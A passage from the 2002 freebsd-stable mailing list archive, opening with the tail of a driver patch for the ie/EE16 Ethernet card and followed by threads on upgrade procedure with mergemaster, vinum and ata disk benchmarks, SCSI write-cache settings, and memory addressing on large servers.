07:22:28 2000=0A= ***************=0A= *** 148,154 ****=0A= #define IED_RNR 0x04=0A= #define IED_CNA 0x08=0A= #define IED_READFRAME 0x10=0A= ! static int ie_debug =3D IED_RNR;=0A= =0A= #endif=0A= =0A= --- 148,154 ----=0A= #define IED_RNR 0x04=0A= #define IED_CNA 0x08=0A= #define IED_READFRAME 0x10=0A= ! static int ie_debug =3D IED_RINT | IED_READFRAME | IED_RNR;=0A= =0A= #endif=0A= =0A= ***************=0A= *** 722,728 ****=0A= printf("ie%d: WARNING: board configured "=0A= "at irq %u, using %u\n",=0A= dvp->id_unit, dvp->id_irq, irq);=0A= ! irq =3D dvp->id_unit;=0A= }=0A= } else {=0A= dvp->id_irq =3D irq;=0A= --- 722,728 ----=0A= printf("ie%d: WARNING: board configured "=0A= "at irq %u, using %u\n",=0A= dvp->id_unit, dvp->id_irq, irq);=0A= ! irq =3D dvp->id_irq;=0A= }=0A= } else {=0A= dvp->id_irq =3D irq;=0A= ***************=0A= *** 859,864 ****=0A= --- 859,867 ----=0A= /* Don't ack interrupts which we didn't receive */=0A= ie_ack(ie->scb, IE_ST_WHENCE & status, unit, ie->ie_chan_attn);=0A= =0A= + if (ie->hard_type =3D=3D IE_EE16) /* XXX Heavy traffic sometimes = hangs an*/=0A= + DELAY(15); /* XXX EE16. This delay seems to cure. */=0A= + =0A= if (status & (IE_ST_RECV | IE_ST_RNR)) {=0A= #ifdef DEBUG=0A= in_ierint++;=0A= ***************=0A= *** 2105,2110 ****=0A= --- 2108,2114 ----=0A= outb(PORT + IEE16_CONFIG, bart_config);=0A= ee16_interrupt_enable(ie);=0A= ee16_chan_attn(unit);=0A= + DELAY(15);=0A= }=0A= ie->arpcom.ac_if.if_flags |=3D IFF_RUNNING; /* tell higher levels=0A= * we're here */=0A= *** sys/dev/ie/if_iee16.h.ORIG Sun Aug 6 18:10:50 2000=0A= --- sys/dev/ie/if_iee16.h Sat Sep 9 07:22:28 2000=0A= ***************=0A= *** 71,80 ****=0A= --- 71,84 ----=0A= =0A= /* Locations in the EEPROM */=0A= #define IEE16_EEPROM_CONFIG1 0x00 /* Configuration register 1 */=0A= + #define IEE16_CONNECT_BNCTPE 0x1000 /* 0 =3D AUI, 1 =3D BNC/TPE */=0A= #define IEE16_EEPROM_IRQ 0xE000 /* Encoded IRQ */=0A= #define IEE16_EEPROM_IRQ_SHIFT 13 /* To shift IRQ to lower bits */=0A= #define IEE16_EEPROM_LOCK_ADDR 0x01 /* contains the lock bit */=0A= #define IEE16_EEPROM_LOCKED 0x01 /* means that it is locked */=0A= + =0A= + #define IEE16_EEPROM_CONFIG2 0x05 /* Configuration register 2 */=0A= + #define IEE16_CONNECT_TPE 0x0001 /* 0 =3D BNC, 1 =3D TPE */=0A= =0A= #define IEE16_EEPROM_ENET_LOW 0x02 /* Ethernet address, low word */=0A= #define IEE16_EEPROM_ENET_MID 0x03 /* Ethernet address, middle word */=0A= *** sys/i386/isa/isa_compat.h.ORIG Sun Sep 23 21:58:01 2001=0A= --- sys/i386/isa/isa_compat.h Fri Feb 1 12:02:05 2002=0A= ***************=0A= *** 31,36 ****=0A= --- 31,37 ----=0A= #include "ar.h"=0A= #include "cx.h"=0A= #include "el.h"=0A= + #include "ie.h"=0A= #include "le.h"=0A= #include "lnc.h"=0A= #include "rdp.h"=0A= ***************=0A= *** 80,85 ****=0A= --- 81,87 ----=0A= extern struct isa_driver ardriver;=0A= extern struct isa_driver cxdriver;=0A= extern struct isa_driver eldriver;=0A= + extern struct isa_driver iedriver;=0A= extern struct isa_driver ledriver;=0A= extern struct isa_driver lncdriver;=0A= extern struct isa_driver rdpdriver;=0A= ***************=0A= *** 194,199 ****=0A= --- 196,204 ----=0A= =0A= /* NET */=0A= =0A= + #if NIE > 0=0A= + { INTR_TYPE_NET, &iedriver },=0A= + #endif=0A= #if NLE > 0=0A= { INTR_TYPE_NET, &ledriver },=0A= #endif=0A= ------=_NextPart_000_02BB_01C1EB94.BD02A980-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 13:50:42 2002 Delivered-To: freebsd-stable@freebsd.org Received: from empty1.ekahuna.com (empty1.ekahuna.com [198.144.200.196]) by hub.freebsd.org (Postfix) with ESMTP id 7D35C37B41F for ; Wed, 24 Apr 2002 13:50:36 -0700 (PDT) Received: from pc-02 (pc02.ekahuna.com [198.144.200.197]) by empty1.ekahuna.com (Post.Office MTA v3.5.3 release 223 ID# 0-0U10L2S100V35) with ESMTP id com; Wed, 24 Apr 2002 13:48:56 -0700 From: "Philip J. Koenig" Organization: The Electric Kahuna Organization To: stable@FreeBSD.ORG Date: Wed, 24 Apr 2002 13:48:56 -0700 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: mergemaster theory (was: Re: /etc/defaults/rc.conf theory) Reply-To: pjklist@ekahuna.com Cc: "Kevin Oberman" References: Your message of "Tue, 23 Apr 2002 22:59:46 PDT." <20020424055947185.AAA739@empty1.ekahuna.com@pc02.ekahuna.com> In-reply-to: <20020424182347.D2E1A5D08@ptavv.es.net> X-mailer: Pegasus Mail for Win32 (v3.12c) Message-ID: <20020424204856186.AAA756@empty1.ekahuna.com@pc02.ekahuna.com> Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 24 Apr 2002, at 11:23, Kevin Oberman boldly uttered: > > > On Tue, 23 Apr 2002, Philip J. Koenig wrote: > > My usual sequence is: > > > > [multi-user] > > - cvsup > > - buildworld > > - buildkernel > > > > [restart into single-user, since shutting down to single-user can > > cause problems with ie kern securelevel] > > - mount filesystems, swap, run adjkerntz -i > > - installkernel > > - installworld > > - mergemaster > > - final cleanup/backup > > - reboot > > > > Reason being I've always read/been told that this is standard > > practice because changing system files while in multi-user mode can > > cause various problems. I always thought mergemaster had to come > > after the install step. > > This is NOT standard practice. You need to do the installkernel before the > reboot. Either do this immediately after the buildkernel or just > make kernel which is the same as "make buildkernel installkernel". > > If you reboot before installing hte kernel, you are NOT confirming that > the new kernel will run. > cvsup > buildworld > buildkernel > installkernel > reboot new kernel > mount -a -t ufs > installworld > mergemaster > reboot or exit > > R. Kevin Oberman > Network Engineer > ESnet--The Energy Sciences Network You are correct - I diverge from the usual recommendation in that I usually install the kernel with the world. In the past I actually found that worked better for me, although in the future I may re- evaluate that. However the point I had been making was unrelated - it was re: running mergemaster in single-user mode (the natural progression when having to boot single-user to finish the steps prior to mergemaster), which entails certain limitations about how one can run mergemaster. Some people have made some suggestions about how to workaround that - ie Mike suggested CTRL-Z while in mergemaster, I've never used that feature so I now consider myself duly enlightened on that :-), and I mused about perhaps running screen prior to mergemaster. (all in the interest of looking/backing up/changing things while mergemaster is running) -- Philip J. Koenig pjklist@ekahuna.com Electric Kahuna Systems -- Computers & Communications for the New Millenium To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 15: 2:37 2002 Delivered-To: freebsd-stable@freebsd.org Received: from arthur.nitro.dk (213.237.101.114.adsl.kh.worldonline.dk [213.237.101.114]) by hub.freebsd.org (Postfix) with SMTP id E11E137B41D for ; Wed, 24 Apr 2002 15:02:29 -0700 (PDT) Received: (qmail 18863 invoked by uid 1000); 24 Apr 2002 22:01:25 -0000 Date: Thu, 25 Apr 2002 00:01:25 +0200 From: "Simon L. Nielsen" To: freebsd-stable@freebsd.org Subject: 4.5-p4 and UPDATING Message-ID: <20020424220125.GA68621@nitro.dk> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="IS0zKkzwUGydFO0o" Content-Disposition: inline User-Agent: Mutt/1.3.28i Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --IS0zKkzwUGydFO0o Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Hello Now that the newest RELENG_4_5 calls itself -p4 shouldn't there be an addition to UPDATING? --=20 Simon L. Nielsen --IS0zKkzwUGydFO0o Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8xys08kocFXgPTRwRAiOyAKCTnzB6/aeC1MbMwD4+USXLNnkBPwCgzXGq Mozo1U35rrgU31QTVpaC4R8= =iQXk -----END PGP SIGNATURE----- --IS0zKkzwUGydFO0o-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 16:39:41 2002 Delivered-To: freebsd-stable@freebsd.org Received: from falcon.prod.itd.earthlink.net (falcon.mail.pas.earthlink.net [207.217.120.74]) by hub.freebsd.org (Postfix) with ESMTP id A16A337B41E; Wed, 24 Apr 2002 16:39:31 -0700 (PDT) Received: from pool0275.cvx22-bradley.dialup.earthlink.net ([209.179.199.20] helo=mindspring.com) by falcon.prod.itd.earthlink.net with esmtp (Exim 3.33 #2) id 170WLM-000119-00; Wed, 24 Apr 2002 16:38:36 -0700 Message-ID: <3CC741E0.2BB79E0C@mindspring.com> Date: Wed, 24 Apr 2002 16:38:08 -0700 From: Terry Lambert X-Mailer: Mozilla 4.7 [en]C-CCK-MCD {Sony} (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Steve O'Hara-Smith Cc: scrappy@hub.org, freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? References: <20020422091602.O1721-100000@mail1.hub.org> <3CC40A62.B40E816F@mindspring.com> <20020424191849.3a81b126.steve@sohara.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Steve O'Hara-Smith wrote: > On Mon, 22 Apr 2002 06:04:34 -0700 > Terry Lambert wrote: > > TL> FreeBSD doesn't currently support bank selection. Peter was > TL> working on it, last time I heard. Linux supports it, at an > TL> incredible performance penalty. > > This inspired an off the wall thought that may be insane. Would > it be possible (on a >4Gb system) to address 4Gb of RAM and write a driver > to make the rest appear as a device, which could then be used for a > preferred or (even neater) first level swap. Only if you reserved a window for it. Say 1G of KVA, though last I checked the bank selection granularity wasn't fine enough for that. Memory in the window can *never* be a target for DMA, and should *probably* never be used for kernel structures. If you ever programmed graphics on a TI 99/4A, which has a 4k visible window onto screen memory, or programmed code on the Commodore C64 to use the 32K of RAM-under-ROM, or programmed in DOS or CP/M using Overlays, then you'll be familiar with the problem. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 18:59:54 2002 Delivered-To: freebsd-stable@freebsd.org Received: from astra.phtd.tpu.edu.ru (phtd.b10.tpu.edu.ru [195.208.164.18]) by hub.freebsd.org (Postfix) with ESMTP id 72F3A37B420 for ; Wed, 24 Apr 2002 18:59:31 -0700 (PDT) Received: from rss (rss.phtd.tpu.edu.ru [195.208.165.11]) by astra.phtd.tpu.edu.ru (8.9.3/8.9.3) with SMTP id KAA05106 for ; Thu, 25 Apr 2002 10:01:42 +0800 Message-Id: <200204250201.KAA05106@astra.phtd.tpu.edu.ru> Date: Thu, 25 Apr 2002 09:58:08 +0800 From: rss@rss.phtd.tpu.edu.ru To: stable@FreeBSD.org X-Mailer: stuphead ver. 0.5.3 (Wiskas) (GTK+ 1.2.10; Linux 2.4.18; i686) Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG subscribe FreeBSD-STABLE -- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 19:31:33 2002 Delivered-To: freebsd-stable@freebsd.org Received: from zoot.corp.yahoo.com (zoot.corp.yahoo.com [216.145.52.89]) by hub.freebsd.org (Postfix) with ESMTP id 0A5B737B404 for ; Wed, 24 Apr 2002 19:31:26 -0700 (PDT) Received: from zoot.corp.yahoo.com (localhost [127.0.0.1]) by zoot.corp.yahoo.com (8.12.3/8.12.3) with ESMTP id g3P2KHHW062311; Wed, 24 Apr 2002 19:20:17 -0700 (PDT) (envelope-from DougB@FreeBSD.org) Received: from localhost (dougb@localhost) by zoot.corp.yahoo.com (8.12.3/8.12.3/Submit) with ESMTP id g3P2KHX3062308; Wed, 24 Apr 2002 19:20:17 -0700 (PDT) X-Authentication-Warning: zoot.corp.yahoo.com: dougb owned process doing -bs Date: Wed, 24 Apr 2002 19:20:17 -0700 (PDT) From: Doug Barton X-X-Sender: dougb@zoot.corp.yahoo.com To: Charlie Watts Cc: stable@FreeBSD.org Subject: Re: 3.3-RELEASE -> 4-STABLE In-Reply-To: Message-ID: <20020424191943.M62277-100000@zoot.corp.yahoo.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, 24 Apr 2002, Charlie Watts wrote: > I have a machine I want to upgrade from 3.3-RELEASE to 4-STABLE. By far your best bet is to back up your data, and install from scratch. You'll spend less time in the long run, and have far less problems. Good luck, Doug -- "We have known freedom's price. We have shown freedom's power. And in this great conflict, ... we will see freedom's victory." - George W. Bush, President of the United States State of the Union, January 28, 2002 Do YOU Yahoo!? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 20:58:47 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 87C7F37B400 for ; Wed, 24 Apr 2002 20:58:45 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P3ucH87141; Wed, 24 Apr 2002 21:56:39 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P3ubb37905; Wed, 24 Apr 2002 21:56:38 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 21:56:25 -0600 (MDT) Message-Id: <20020424.215625.131931797.imp@village.org> To: cewatts@frontier.net Cc: stable@FreeBSD.ORG Subject: Re: 3.3-RELEASE -> 4-STABLE From: "M. Warner Losh" In-Reply-To: References: X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I'd upgrade to at least 3.4-release (since there's some issues with going from 3.3 and earlier to 4.0. I'd then stop at 4.2 or 4.3 next, since that seems to be the next good stop on the train. I'd then shoot for 4.5-stable from there, but be prepared to make a smaller leap if necessary. Mergemaster is going to be hell, since all the files in /etc have changed since 3.3-release. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 21: 0:15 2002 Delivered-To: freebsd-stable@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id 7F18237B416 for ; Wed, 24 Apr 2002 21:00:07 -0700 (PDT) Received: by wantadilla.lemis.com (Postfix, from userid 1004) id C8CD8815C0; Thu, 25 Apr 2002 13:27:47 +0930 (CST) Date: Thu, 25 Apr 2002 13:27:47 +0930 From: Greg 'groggy' Lehey To: Mike Tancsa Cc: stable@FreeBSD.ORG Subject: Re: new ata code and vinum Message-ID: <20020425132747.G33950@wantadilla.lemis.com> References: <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F 09AC 22E6 F290 507A 4223 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Monday, 22 April 2002 at 21:06:08 -0400, Mike Tancsa wrote: > At 09:29 AM 4/23/2002 +0930, Greg 'groggy' Lehey wrote: >> [Format recovered--see http://www.lemis.com/email/email-format.html] >> >> bonnie tests mainly the CPU, not the storage. The only test of any >> interest for the storage system is the random seeks. Use rawio if you >> want too get some useful figures. > > Here you go! vinum0 is the SCSI pair, vinum1 the 2 seagate IDEs. > > Random read Sequential read Random write Sequential write > ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec > vinum0 3953.4 244 5219.1 319 4646.6 289 5430.8 331 > Random read Sequential read Random write Sequential write > ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec > vinum1 2038.6 126 17370.4 1060 2985.2 185 44608.7 2723 > Random read Sequential read Random write Sequential write > ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec > ar0s1e 1802.0 112 11960.7 730 2628.6 165 29238.0 1785 > Random read Sequential read Random write Sequential write > ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec > da0s1e 2550.5 157 2772.6 169 2424.4 150 2802.9 171 > Random read Sequential read Random write Sequential write > ID K/sec /sec K/sec /sec K/sec /sec K/sec /sec > ad10s1e 1248.6 77 2242.6 137 1645.7 102 7207.9 440 Yes, that's more like what I would expect. It's interesting to note that the ar doesn't perform as well as Vinum. > I was going to use the pair of SCSIs for the news database... The other > drives for the articles. Looks like you have write cacheing turned off on the SCSI drives. Is that intentional? Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 21:10:44 2002 Delivered-To: freebsd-stable@freebsd.org Received: from vinyl2.sentex.ca (vinyl2.sentex.ca [199.212.134.13]) by hub.freebsd.org (Postfix) with ESMTP id 6608E37B41B; Wed, 24 Apr 2002 21:10:37 -0700 (PDT) Received: from house.sentex.net (cage.simianscience.com [64.7.134.1]) (authenticated bits=0) by vinyl2.sentex.ca (8.12.3/8.12.2) with ESMTP id g3P49add008374 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO); Thu, 25 Apr 2002 00:09:37 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <5.1.0.14.0.20020425000434.03dbfeb8@192.168.0.12> X-Sender: mdtancsa@192.168.0.12 X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Thu, 25 Apr 2002 00:09:46 -0400 To: "Greg 'groggy' Lehey" From: Mike Tancsa Subject: Re: new ata code and vinum Cc: stable@FreeBSD.ORG In-Reply-To: <20020425132747.G33950@wantadilla.lemis.com> References: <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 01:27 PM 4/25/2002 +0930, Greg 'groggy' Lehey wrote: >Looks like you have write cacheing turned off on the SCSI drives. Is >that intentional? WCE right ? I thought 1 means its enabled. camcontrol modepage da0 -m 8 IC: 0 ABPF: 0 CAP: 0 DISC: 1 SIZE: 0 WCE: 1 MF: 0 RCD: 0 Demand Retention Priority: 0 Write Retention Priority: 0 Disable Pre-fetch Transfer Length: 65535 Minimum Pre-fetch: 0 Maximum Pre-fetch: 65535 Maximum Pre-fetch Ceiling: 65535 newflint# camcontrol modepage da1 -m 8 IC: 0 ABPF: 0 CAP: 0 DISC: 1 SIZE: 0 WCE: 1 MF: 0 RCD: 0 Demand Retention Priority: 0 Write Retention Priority: 0 Disable Pre-fetch Transfer Length: 65535 Minimum Pre-fetch: 0 Maximum Pre-fetch: 65535 Maximum Pre-fetch Ceiling: 65535 newflint# >Greg >-- >See complete headers for address and phone numbers > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-stable" in the body of the message -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike@sentex.net Providing Internet since 1994 www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 21:18:53 2002 Delivered-To: freebsd-stable@freebsd.org Received: from wantadilla.lemis.com (wantadilla.lemis.com [192.109.197.80]) by hub.freebsd.org (Postfix) with ESMTP id A532137B400 for ; Wed, 24 Apr 2002 21:18:50 -0700 (PDT) Received: by wantadilla.lemis.com (Postfix, from userid 1004) id 22965815C1; Thu, 25 Apr 2002 13:47:04 +0930 (CST) Date: Thu, 25 Apr 2002 13:47:04 +0930 From: Greg 'groggy' Lehey To: Mike Tancsa Cc: stable@FreeBSD.ORG Subject: Re: new ata code and vinum Message-ID: <20020425134704.K33950@wantadilla.lemis.com> References: <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020425000434.03dbfeb8@192.168.0.12> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5.1.0.14.0.20020425000434.03dbfeb8@192.168.0.12> User-Agent: Mutt/1.3.23i Organization: The FreeBSD Project Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-418-838-708 WWW-Home-Page: http://www.FreeBSD.org/ X-PGP-Fingerprint: 9A1B 8202 BCCE B846 F92F 09AC 22E6 F290 507A 4223 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Thursday, 25 April 2002 at 0:09:46 -0400, Mike Tancsa wrote: > At 01:27 PM 4/25/2002 +0930, Greg 'groggy' Lehey wrote: > >> Looks like you have write cacheing turned off on the SCSI drives. Is >> that intentional? > > WCE right ? I thought 1 means its enabled. Hmm. The rawio figures look pretty terrible. I wonder why. Greg -- See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 21:21: 0 2002 Delivered-To: freebsd-stable@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 5B98C37B41A for ; Wed, 24 Apr 2002 21:20:56 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3P3wdH87160; Wed, 24 Apr 2002 21:58:40 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3P3wcb37915; Wed, 24 Apr 2002 21:58:38 -0600 (MDT) (envelope-from imp@village.org) Date: Wed, 24 Apr 2002 21:58:25 -0600 (MDT) Message-Id: <20020424.215825.29401690.imp@village.org> To: simon@nitro.dk Cc: freebsd-stable@freebsd.org Subject: Re: 4.5-p4 and UPDATING From: "M. Warner Losh" In-Reply-To: <20020424220125.GA68621@nitro.dk> References: <20020424220125.GA68621@nitro.dk> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <20020424220125.GA68621@nitro.dk> "Simon L. Nielsen" writes: : Now that the newest RELENG_4_5 calls itself -p4 shouldn't there : be an addition to UPDATING? Yes. The keepers of the 4.5 branch have been remiss in adding it. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 21:39:43 2002 Delivered-To: freebsd-stable@freebsd.org Received: from vinyl2.sentex.ca (vinyl2.sentex.ca [199.212.134.13]) by hub.freebsd.org (Postfix) with ESMTP id D7E9737B41D; Wed, 24 Apr 2002 21:39:29 -0700 (PDT) Received: from house.sentex.net (cage.simianscience.com [64.7.134.1]) (authenticated bits=0) by vinyl2.sentex.ca (8.12.3/8.12.2) with ESMTP id g3P4cTdd009358 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO); Thu, 25 Apr 2002 00:38:31 -0400 (EDT) (envelope-from mike@sentex.net) Message-Id: <5.1.0.14.0.20020425002148.04795d90@192.168.0.12> X-Sender: mdtancsa@192.168.0.12 X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Thu, 25 Apr 2002 00:32:29 -0400 To: "Greg 'groggy' Lehey" From: Mike Tancsa Subject: Re: new ata code and vinum Cc: stable@FreeBSD.ORG In-Reply-To: <20020425134704.K33950@wantadilla.lemis.com> References: <5.1.0.14.0.20020425000434.03dbfeb8@192.168.0.12> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422160043.03499a50@marble.sentex.ca> <5.1.0.14.0.20020422210120.05d72808@192.168.0.12> <5.1.0.14.0.20020425000434.03dbfeb8@192.168.0.12> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At 01:47 PM 4/25/2002 +0930, Greg 'groggy' Lehey wrote: >Hmm. The rawio figures look pretty terrible. I wonder why. If it was a cable issue, would not the read numbers be brutal as well ? ahc0: port 0xe000-0xe0ff mem 0xe6c01000-0xe6c01fff irq 15 at device 15.0 on pci0 aic7880: Ultra Wide Channel A, SCSI Id=7, 16/255 SCBs da0: Fixed Direct Access SCSI-2 device da0: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled da0: 8683MB (17783240 512 byte sectors: 255H 63S/T 1106C) ---Mike >Greg >-- >See complete headers for address and phone numbers > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-stable" in the body of the message -------------------------------------------------------------------- Mike Tancsa, tel +1 519 651 3400 Sentex Communications, mike@sentex.net Providing Internet since 1994 www.sentex.net Cambridge, Ontario Canada www.sentex.net/mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Apr 24 22:10:46 2002 Delivered-To: freebsd-stable@freebsd.org Received: from smtp3.wanadoo.nl (smtp3.wanadoo.nl [194.134.35.186]) by hub.freebsd.org (Postfix) with ESMTP id 1B91B37B405; Wed, 24 Apr 2002 22:10:40 -0700 (PDT) Received: from ams-gw.sohara.org (p3699.vwr.wanadoo.nl [212.129.226.123]) by smtp3.wanadoo.nl (8.11.3/8.11.3) with SMTP id g3P5Aav01753; Thu, 25 Apr 2002 07:10:36 +0200 (MEST) Date: Thu, 25 Apr 2002 07:10:25 +0200 From: "Steve O'Hara-Smith" To: Terry Lambert Cc: scrappy@hub.org, freebsd-current@freebsd.org, freebsd-stable@freebsd.org Subject: Re: FreeBSD 4.5-STABLE not easily scalable to large servers ... ? Message-Id: <20020425071025.2237e270.steve@sohara.org> In-Reply-To: <3CC741E0.2BB79E0C@mindspring.com> References: <20020422091602.O1721-100000@mail1.hub.org> <3CC40A62.B40E816F@mindspring.com> <20020424191849.3a81b126.steve@sohara.org> <3CC741E0.2BB79E0C@mindspring.com> X-Mailer: Sylpheed version 0.7.4 (GTK+ 1.2.10; i386-portbld-freebsd4.5) X-Face: %]+HVL}K`P8>+8ZcY-WGHP6j@&mxMo9JH6_WdgIgUGH)JX/usO0%jy7T~IVgqjumD^OBqX,Kv^-GM6mlw(fI^$"QRKyZ$?xx/ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 